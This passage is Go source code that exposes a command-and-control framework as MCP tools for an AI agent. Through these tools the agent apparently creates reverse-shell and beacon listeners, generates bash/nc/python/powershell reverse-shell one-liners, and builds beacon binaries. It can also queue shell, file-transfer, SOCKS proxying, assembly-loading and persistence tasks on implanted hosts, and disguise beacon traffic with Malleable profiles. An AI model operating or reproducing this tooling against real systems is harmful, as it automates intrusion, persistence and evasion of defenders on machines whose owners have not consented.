logger.Info("C2 MCP tools registered (8 unified tools)")
|
||||
}
|
||||
|
||||
func makeC2Result(data interface{}, err error) (*mcp.ToolResult, error) {
|
||||
if err != nil {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{Type: "text", Text: err.Error()}},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
text, _ := json.Marshal(data)
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{Type: "text", Text: string(text)}},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_listener — 监听器统一工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Listener,
|
||||
Description: fmt.Sprintf(`C2 监听器管理。通过 action 参数选择操作:
|
||||
- list: 列出所有监听器
|
||||
- get: 获取监听器详情(需 listener_id)
|
||||
- create: 创建监听器(需 name, type, bind_port)。成功时除 listener 外会返回 implant_token(仅此一次,用于 X-Implant-Token / oneliner;list/get/start 不再返回)
|
||||
- update: 更新监听器配置(需 listener_id,可改 name/bind_host/bind_port/remark/config/callback_host)
|
||||
- start: 启动监听器(需 listener_id)
|
||||
- stop: 停止监听器(需 listener_id)
|
||||
- delete: 删除监听器(需 listener_id)
|
||||
监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
|
||||
端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/start/stop/delete", "enum": []string{"list", "get", "create", "update", "start", "stop", "delete"}},
|
||||
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 ID(get/update/start/stop/delete 需要)"},
|
||||
"name": map[string]interface{}{"type": "string", "description": "监听器名称(create/update)"},
|
||||
"type": map[string]interface{}{"type": "string", "description": "监听器类型(create)", "enum": []string{"tcp_reverse", "http_beacon", "https_beacon", "websocket"}},
|
||||
"bind_host": map[string]interface{}{"type": "string", "description": "绑定地址,默认 127.0.0.1;外网监听常用 0.0.0.0"},
|
||||
"callback_host": map[string]interface{}{"type": "string", "description": "可选:植入端/Payload 回连主机名(公网 IP 或域名)。写入 config_json;生成 oneliner/beacon 时优先于 bind_host。update 时传入空字符串可清除"},
|
||||
"bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port)", webListenPort), "minimum": 1, "maximum": 65535},
|
||||
"profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
|
||||
"remark": map[string]interface{}{"type": "string", "description": "备注"},
|
||||
"config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
id := getString(params, "listener_id")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
listeners, err := m.DB().ListC2Listeners()
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
for _, li := range listeners {
|
||||
li.EncryptionKey = ""
|
||||
li.ImplantToken = ""
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"listeners": listeners, "count": len(listeners)}, nil)
|
||||
|
||||
case "get":
|
||||
listener, err := m.DB().GetC2Listener(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if listener == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||
|
||||
case "create":
|
||||
var cfg *c2.ListenerConfig
|
||||
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
|
||||
cfgBytes, _ := json.Marshal(cfgRaw)
|
||||
cfg = &c2.ListenerConfig{}
|
||||
_ = json.Unmarshal(cfgBytes, cfg)
|
||||
}
|
||||
input := c2.CreateListenerInput{
|
||||
Name: getString(params, "name"),
|
||||
Type: getString(params, "type"),
|
||||
BindHost: getString(params, "bind_host"),
|
||||
BindPort: int(getFloat64(params, "bind_port")),
|
||||
ProfileID: getString(params, "profile_id"),
|
||||
Remark: getString(params, "remark"),
|
||||
Config: cfg,
|
||||
CallbackHost: getString(params, "callback_host"),
|
||||
}
|
||||
listener, err := m.CreateListener(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
implantToken := listener.ImplantToken
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{
|
||||
"listener": listener,
|
||||
"implant_token": implantToken,
|
||||
}, nil)
|
||||
|
||||
case "update":
|
||||
listener, err := m.DB().GetC2Listener(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if listener == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||
}
|
||||
if m.IsListenerRunning(id) {
|
||||
newHost := getString(params, "bind_host")
|
||||
newPort := int(getFloat64(params, "bind_port"))
|
||||
if (newHost != "" && newHost != listener.BindHost) || (newPort > 0 && newPort != listener.BindPort) {
|
||||
return makeC2Result(nil, fmt.Errorf("cannot modify bind address while listener is running"))
|
||||
}
|
||||
}
|
||||
if v := getString(params, "name"); v != "" {
|
||||
listener.Name = v
|
||||
}
|
||||
if v := getString(params, "bind_host"); v != "" {
|
||||
listener.BindHost = v
|
||||
}
|
||||
if v := int(getFloat64(params, "bind_port")); v > 0 {
|
||||
listener.BindPort = v
|
||||
}
|
||||
if v := getString(params, "profile_id"); v != "" {
|
||||
listener.ProfileID = v
|
||||
}
|
||||
if v, ok := params["remark"]; ok {
|
||||
listener.Remark, _ = v.(string)
|
||||
}
|
||||
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
|
||||
cfgBytes, _ := json.Marshal(cfgRaw)
|
||||
listener.ConfigJSON = string(cfgBytes)
|
||||
}
|
||||
if _, ok := params["callback_host"]; ok {
|
||||
pcfg := &c2.ListenerConfig{}
|
||||
raw := strings.TrimSpace(listener.ConfigJSON)
|
||||
if raw == "" {
|
||||
raw = "{}"
|
||||
}
|
||||
_ = json.Unmarshal([]byte(raw), pcfg)
|
||||
pcfg.CallbackHost = strings.TrimSpace(getString(params, "callback_host"))
|
||||
pcfg.ApplyDefaults()
|
||||
cfgBytes, err := json.Marshal(pcfg)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
listener.ConfigJSON = string(cfgBytes)
|
||||
}
|
||||
if err := m.DB().UpdateC2Listener(listener); err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||
|
||||
case "start":
|
||||
listener, err := m.StartListener(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||
|
||||
case "stop":
|
||||
err := m.StopListener(id)
|
||||
return makeC2Result(map[string]interface{}{"stopped": err == nil}, err)
|
||||
|
||||
case "delete":
|
||||
err := m.DeleteListener(id)
|
||||
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_session — 会话统一工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Session,
|
||||
Description: `C2 会话管理。通过 action 参数选择操作:
|
||||
- list: 列出会话(可按 listener_id/status/os/search 过滤)
|
||||
- get: 获取会话详情及最近任务历史(需 session_id)
|
||||
- set_sleep: 设置心跳间隔(需 session_id)
|
||||
- kill: 下发 exit 任务让 implant 退出(需 session_id)
|
||||
- delete: 删除会话记录(需 session_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete", "enum": []string{"list", "get", "set_sleep", "kill", "delete"}},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(get/set_sleep/kill/delete 需要)"},
|
||||
"listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list)"},
|
||||
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killed(list)"},
|
||||
"os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwin(list)"},
|
||||
"search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IP(list)"},
|
||||
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
||||
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep)"},
|
||||
"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100(set_sleep)"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
id := getString(params, "session_id")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
filter := database.ListC2SessionsFilter{
|
||||
ListenerID: getString(params, "listener_id"),
|
||||
Status: getString(params, "status"),
|
||||
OS: getString(params, "os"),
|
||||
Search: getString(params, "search"),
|
||||
}
|
||||
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||
filter.Limit = limit
|
||||
}
|
||||
sessions, err := m.DB().ListC2Sessions(filter)
|
||||
return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
|
||||
|
||||
case "get":
|
||||
session, err := m.DB().GetC2Session(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if session == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("session not found"))
|
||||
}
|
||||
tasks, _ := m.DB().ListC2Tasks(database.ListC2TasksFilter{SessionID: id, Limit: 10})
|
||||
return makeC2Result(map[string]interface{}{"session": session, "tasks": tasks}, nil)
|
||||
|
||||
case "set_sleep":
|
||||
sleep := int(getFloat64(params, "sleep_seconds"))
|
||||
jitter := int(getFloat64(params, "jitter_percent"))
|
||||
err := m.DB().SetC2SessionSleep(id, sleep, jitter)
|
||||
return makeC2Result(map[string]interface{}{"updated": err == nil, "sleep_seconds": sleep, "jitter_percent": jitter}, err)
|
||||
|
||||
case "kill":
|
||||
task, err := m.EnqueueTask(c2.EnqueueTaskInput{
|
||||
SessionID: id,
|
||||
TaskType: c2.TaskTypeExit,
|
||||
Payload: map[string]interface{}{},
|
||||
Source: "ai",
|
||||
ConversationID: agent.ConversationIDFromContext(ctx),
|
||||
UserCtx: ctx,
|
||||
})
|
||||
return makeC2Result(map[string]interface{}{"task": task}, err)
|
||||
|
||||
case "delete":
|
||||
err := m.DB().DeleteC2Session(id)
|
||||
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_task — 任务下发统一工具(合并所有 task 类型)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2TaskTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Task,
|
||||
Description: `在 C2 会话上下发任务。所有任务类型通过 task_type 参数指定:
|
||||
- exec: 执行命令(需 command)
|
||||
- shell: 交互式命令,保持 cwd(需 command)
|
||||
- pwd/ps/screenshot/socks_stop: 无额外参数
|
||||
- cd/ls: 需 path
|
||||
- kill_proc: 需 pid
|
||||
- upload: 需 remote_path + file_id
|
||||
- download: 需 remote_path
|
||||
- port_fwd: 需 action(start/stop) + local_port + remote_host + remote_port
|
||||
- socks_start: 需 port(默认 1080)
|
||||
- load_assembly: 需 data(base64) 或 file_id,可选 args
|
||||
- persist: 可选 method(auto/cron/bashrc/launchagent/registry/schtasks)
|
||||
返回 task_id,用 c2_task_manage 的 wait/get_result 获取结果。`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "C2 会话 ID(s_xxx)"},
|
||||
"task_type": map[string]interface{}{"type": "string", "description": "任务类型", "enum": []string{"exec", "shell", "pwd", "cd", "ls", "ps", "kill_proc", "upload", "download", "screenshot", "port_fwd", "socks_start", "socks_stop", "load_assembly", "persist"}},
|
||||
"command": map[string]interface{}{"type": "string", "description": "命令(exec/shell)"},
|
||||
"path": map[string]interface{}{"type": "string", "description": "路径(cd/ls)"},
|
||||
"pid": map[string]interface{}{"type": "integer", "description": "进程 ID(kill_proc)"},
|
||||
"remote_path": map[string]interface{}{"type": "string", "description": "远程路径(upload/download)"},
|
||||
"file_id": map[string]interface{}{"type": "string", "description": "服务端文件 ID(upload/load_assembly)"},
|
||||
"data": map[string]interface{}{"type": "string", "description": "base64 数据(load_assembly)"},
|
||||
"args": map[string]interface{}{"type": "string", "description": "命令行参数(load_assembly)"},
|
||||
"action": map[string]interface{}{"type": "string", "description": "start/stop(port_fwd)"},
|
||||
"local_port": map[string]interface{}{"type": "integer", "description": "本地端口(port_fwd)"},
|
||||
"remote_host": map[string]interface{}{"type": "string", "description": "远程主机(port_fwd)"},
|
||||
"remote_port": map[string]interface{}{"type": "integer", "description": "远程端口(port_fwd)"},
|
||||
"port": map[string]interface{}{"type": "integer", "description": "SOCKS5 端口(socks_start),默认 1080"},
|
||||
"method": map[string]interface{}{"type": "string", "description": "持久化方法(persist): auto/cron/bashrc/launchagent/registry/schtasks"},
|
||||
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "超时秒数,默认 60"},
|
||||
},
|
||||
"required": []string{"session_id", "task_type"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
sessionID := getString(params, "session_id")
|
||||
taskTypeStr := getString(params, "task_type")
|
||||
taskType := c2.TaskType(taskTypeStr)
|
||||
timeout := getFloat64(params, "timeout_seconds")
|
||||
|
||||
payload := map[string]interface{}{"timeout_seconds": timeout}
|
||||
|
||||
switch taskType {
|
||||
case c2.TaskTypeExec, c2.TaskTypeShell:
|
||||
payload["command"] = getString(params, "command")
|
||||
case c2.TaskTypeCd, c2.TaskTypeLs:
|
||||
payload["path"] = getString(params, "path")
|
||||
case c2.TaskTypeKillProc:
|
||||
payload["pid"] = params["pid"]
|
||||
case c2.TaskTypeUpload:
|
||||
payload["remote_path"] = getString(params, "remote_path")
|
||||
payload["file_id"] = getString(params, "file_id")
|
||||
case c2.TaskTypeDownload:
|
||||
payload["remote_path"] = getString(params, "remote_path")
|
||||
case c2.TaskTypePortFwd:
|
||||
payload["action"] = getString(params, "action")
|
||||
payload["local_port"] = params["local_port"]
|
||||
payload["remote_host"] = getString(params, "remote_host")
|
||||
payload["remote_port"] = params["remote_port"]
|
||||
case c2.TaskTypeSocksStart:
|
||||
payload["port"] = params["port"]
|
||||
case c2.TaskTypeLoadAssembly:
|
||||
payload["data"] = getString(params, "data")
|
||||
payload["file_id"] = getString(params, "file_id")
|
||||
payload["args"] = getString(params, "args")
|
||||
case c2.TaskTypePersist:
|
||||
payload["method"] = getString(params, "method")
|
||||
case c2.TaskTypePwd, c2.TaskTypePs, c2.TaskTypeScreenshot, c2.TaskTypeSocksStop:
|
||||
// no extra params
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unsupported task_type: %s", taskTypeStr))
|
||||
}
|
||||
|
||||
input := c2.EnqueueTaskInput{
|
||||
SessionID: sessionID,
|
||||
TaskType: taskType,
|
||||
Payload: payload,
|
||||
Source: "ai",
|
||||
ConversationID: agent.ConversationIDFromContext(ctx),
|
||||
UserCtx: ctx,
|
||||
}
|
||||
task, err := m.EnqueueTask(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"task_id": task.ID, "status": task.Status}, nil)
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_task_manage — 任务管理工具(查询/等待/取消)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2TaskManageTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2TaskManage,
|
||||
Description: `C2 任务管理。通过 action 参数选择操作:
|
||||
- get_result: 获取任务详情和结果(需 task_id)
|
||||
- wait: 阻塞等待任务完成并返回结果(需 task_id)
|
||||
- list: 列出任务(可按 session_id/status 过滤)
|
||||
- cancel: 取消排队中的任务(需 task_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: get_result/wait/list/cancel", "enum": []string{"get_result", "wait", "list", "cancel"}},
|
||||
"task_id": map[string]interface{}{"type": "string", "description": "任务 ID(get_result/wait/cancel 需要)"},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤(list)"},
|
||||
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: queued/sent/running/success/failed/cancelled(list)"},
|
||||
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
||||
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "等待超时秒数(wait),默认 60"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
|
||||
switch action {
|
||||
case "get_result":
|
||||
id := getString(params, "task_id")
|
||||
task, err := m.DB().GetC2Task(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if task == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"task": task}, nil)
|
||||
|
||||
case "wait":
|
||||
id := getString(params, "task_id")
|
||||
timeout := int(getFloat64(params, "timeout_seconds"))
|
||||
if timeout <= 0 {
|
||||
timeout = 60
|
||||
}
|
||||
deadline := time.Now().Add(time.Duration(timeout) * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
task, err := m.DB().GetC2Task(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if task == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||
}
|
||||
if task.Status == "success" || task.Status == "failed" || task.Status == "cancelled" {
|
||||
return makeC2Result(map[string]interface{}{"task": task}, nil)
|
||||
}
|
||||
select {
|
||||
case <-time.After(500 * time.Millisecond):
|
||||
case <-ctx.Done():
|
||||
return makeC2Result(nil, ctx.Err())
|
||||
}
|
||||
}
|
||||
return makeC2Result(nil, fmt.Errorf("timeout waiting for task completion"))
|
||||
|
||||
case "list":
|
||||
filter := database.ListC2TasksFilter{
|
||||
SessionID: getString(params, "session_id"),
|
||||
Status: getString(params, "status"),
|
||||
}
|
||||
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||
filter.Limit = limit
|
||||
}
|
||||
tasks, err := m.DB().ListC2Tasks(filter)
|
||||
return makeC2Result(map[string]interface{}{"tasks": tasks, "count": len(tasks)}, err)
|
||||
|
||||
case "cancel":
|
||||
id := getString(params, "task_id")
|
||||
err := m.CancelTask(id)
|
||||
return makeC2Result(map[string]interface{}{"cancelled": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_payload — Payload 统一工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Payload,
|
||||
Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作:
|
||||
- oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败:
|
||||
• tcp_reverse:裸 TCP 反弹,可用 kind: bash, nc, nc_mkfifo, python, perl, powershell(bash 指 /dev/tcp 类,不是 HTTP)。
|
||||
• http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。
|
||||
• 需要经典 bash 反弹 shell 时:先 c2_listener create type=tcp_reverse,再对该监听器用 kind=bash。
|
||||
• 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。
|
||||
- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse(tcp_reverse 下植入端回连后先发魔数 CSB1,再走与 HTTP 相同的 AES-GCM JSON 语义;未发魔数的连接仍按经典交互 shell 处理)。
|
||||
依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort),
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: oneliner/build", "enum": []string{"oneliner", "build"}},
|
||||
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 ID(必填)。oneliner 前请确认该监听器的 type,再选兼容的 kind"},
|
||||
"kind": map[string]interface{}{"type": "string", "description": "仅 action=oneliner 需要。tcp_reverse: bash|nc|nc_mkfifo|python|perl|powershell;http_beacon|https_beacon|websocket: 仅 curl_beacon"},
|
||||
"host": map[string]interface{}{"type": "string", "description": "oneliner/build 可选覆盖:非空则强制用作植入回连主机。留空时顺序为:监听器 callback_host(create/update 的 callback_host 参数写入)→ bind_host(0.0.0.0 时尝试本机对外 IP 探测)"},
|
||||
"os": map[string]interface{}{"type": "string", "description": "目标 OS(build): linux/windows/darwin", "default": "linux"},
|
||||
"arch": map[string]interface{}{"type": "string", "description": "目标架构(build): amd64/arm64/386/arm", "default": "amd64"},
|
||||
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "默认心跳间隔(build)"},
|
||||
"jitter_percent": map[string]interface{}{"type": "integer", "description": "默认抖动百分比(build)"},
|
||||
},
|
||||
"required": []string{"action", "listener_id"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
listenerID := getString(params, "listener_id")
|
||||
|
||||
switch action {
|
||||
case "oneliner":
|
||||
listener, err := m.DB().GetC2Listener(listenerID)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if listener == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||
}
|
||||
host := c2.ResolveBeaconDialHost(listener, getString(params, "host"), l, listenerID)
|
||||
kind := c2.OnelinerKind(getString(params, "kind"))
|
||||
if kind == "" {
|
||||
compatible := c2.OnelinerKindsForListener(listener.Type)
|
||||
if len(compatible) > 0 {
|
||||
kind = compatible[0]
|
||||
}
|
||||
}
|
||||
if !c2.IsOnelinerCompatible(listener.Type, kind) {
|
||||
compatible := c2.OnelinerKindsForListener(listener.Type)
|
||||
names := make([]string, len(compatible))
|
||||
for i, k := range compatible {
|
||||
names[i] = string(k)
|
||||
}
|
||||
return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names))
|
||||
}
|
||||
input := c2.OnelinerInput{
|
||||
Kind: kind,
|
||||
Host: host,
|
||||
Port: listener.BindPort,
|
||||
HTTPBaseURL: fmt.Sprintf("http://%s:%d", host, listener.BindPort),
|
||||
ImplantToken: listener.ImplantToken,
|
||||
}
|
||||
oneliner, err := c2.GenerateOneliner(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
out := map[string]interface{}{
|
||||
"oneliner": oneliner, "kind": input.Kind, "host": host, "port": listener.BindPort,
|
||||
}
|
||||
if kind == c2.OnelinerCurl {
|
||||
out["usage_note"] = "同步 exec/execute:整段原样执行(末尾须有「 &」)。去掉则 while 永不结束,工具会一直卡住。"
|
||||
}
|
||||
return makeC2Result(out, nil)
|
||||
|
||||
case "build":
|
||||
builder := c2.NewPayloadBuilder(m, l, "", "")
|
||||
input := c2.PayloadBuilderInput{
|
||||
ListenerID: listenerID,
|
||||
OS: getString(params, "os"),
|
||||
Arch: getString(params, "arch"),
|
||||
SleepSeconds: int(getFloat64(params, "sleep_seconds")),
|
||||
JitterPercent: int(getFloat64(params, "jitter_percent")),
|
||||
Host: strings.TrimSpace(getString(params, "host")),
|
||||
}
|
||||
result, err := builder.BuildBeacon(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{
|
||||
"payload_id": result.PayloadID, "download_path": result.DownloadPath,
|
||||
"os": result.OS, "arch": result.Arch, "size_bytes": result.SizeBytes,
|
||||
}, nil)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_event — 事件查询工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2EventTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Event,
|
||||
Description: "获取 C2 事件(上线/掉线/任务/错误),支持按级别/类别/会话/任务/时间过滤",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"level": map[string]interface{}{"type": "string", "description": "级别过滤: info/warn/critical"},
|
||||
"category": map[string]interface{}{"type": "string", "description": "类别过滤: listener/session/task/payload/opsec"},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤"},
|
||||
"task_id": map[string]interface{}{"type": "string", "description": "按任务过滤"},
|
||||
"since": map[string]interface{}{"type": "string", "description": "起始时间(RFC3339 格式,如 2025-01-01T00:00:00Z)"},
|
||||
"limit": map[string]interface{}{"type": "integer", "default": 50, "description": "返回数量"},
|
||||
},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
filter := database.ListC2EventsFilter{
|
||||
Level: getString(params, "level"),
|
||||
Category: getString(params, "category"),
|
||||
SessionID: getString(params, "session_id"),
|
||||
TaskID: getString(params, "task_id"),
|
||||
Limit: int(getFloat64(params, "limit")),
|
||||
}
|
||||
if filter.Limit <= 0 {
|
||||
filter.Limit = 50
|
||||
}
|
||||
if since := getString(params, "since"); since != "" {
|
||||
if t, err := time.Parse(time.RFC3339, since); err == nil {
|
||||
filter.Since = &t
|
||||
}
|
||||
}
|
||||
events, err := m.DB().ListC2Events(filter)
|
||||
return makeC2Result(map[string]interface{}{"events": events, "count": len(events)}, err)
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_profile — Malleable Profile 管理工具(新增)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2ProfileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Profile,
|
||||
Description: `C2 Malleable Profile 管理(控制 beacon 通信伪装)。通过 action 参数选择操作:
|
||||
- list: 列出所有 Profile
|
||||
- get: 获取 Profile 详情(需 profile_id)
|
||||
- create: 创建 Profile(需 name,可选 user_agent/uris/request_headers/response_headers/body_template/jitter_min_ms/jitter_max_ms)
|
||||
- update: 更新 Profile(需 profile_id)
|
||||
- delete: 删除 Profile(需 profile_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/delete", "enum": []string{"list", "get", "create", "update", "delete"}},
|
||||
"profile_id": map[string]interface{}{"type": "string", "description": "Profile ID(get/update/delete 需要)"},
|
||||
"name": map[string]interface{}{"type": "string", "description": "Profile 名称"},
|
||||
"user_agent": map[string]interface{}{"type": "string", "description": "User-Agent 字符串"},
|
||||
"uris": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "beacon 请求的 URI 列表"},
|
||||
"request_headers": map[string]interface{}{"type": "object", "description": "自定义请求头"},
|
||||
"response_headers": map[string]interface{}{"type": "object", "description": "自定义响应头"},
|
||||
"body_template": map[string]interface{}{"type": "string", "description": "响应体模板"},
|
||||
"jitter_min_ms": map[string]interface{}{"type": "integer", "description": "最小抖动(毫秒)"},
|
||||
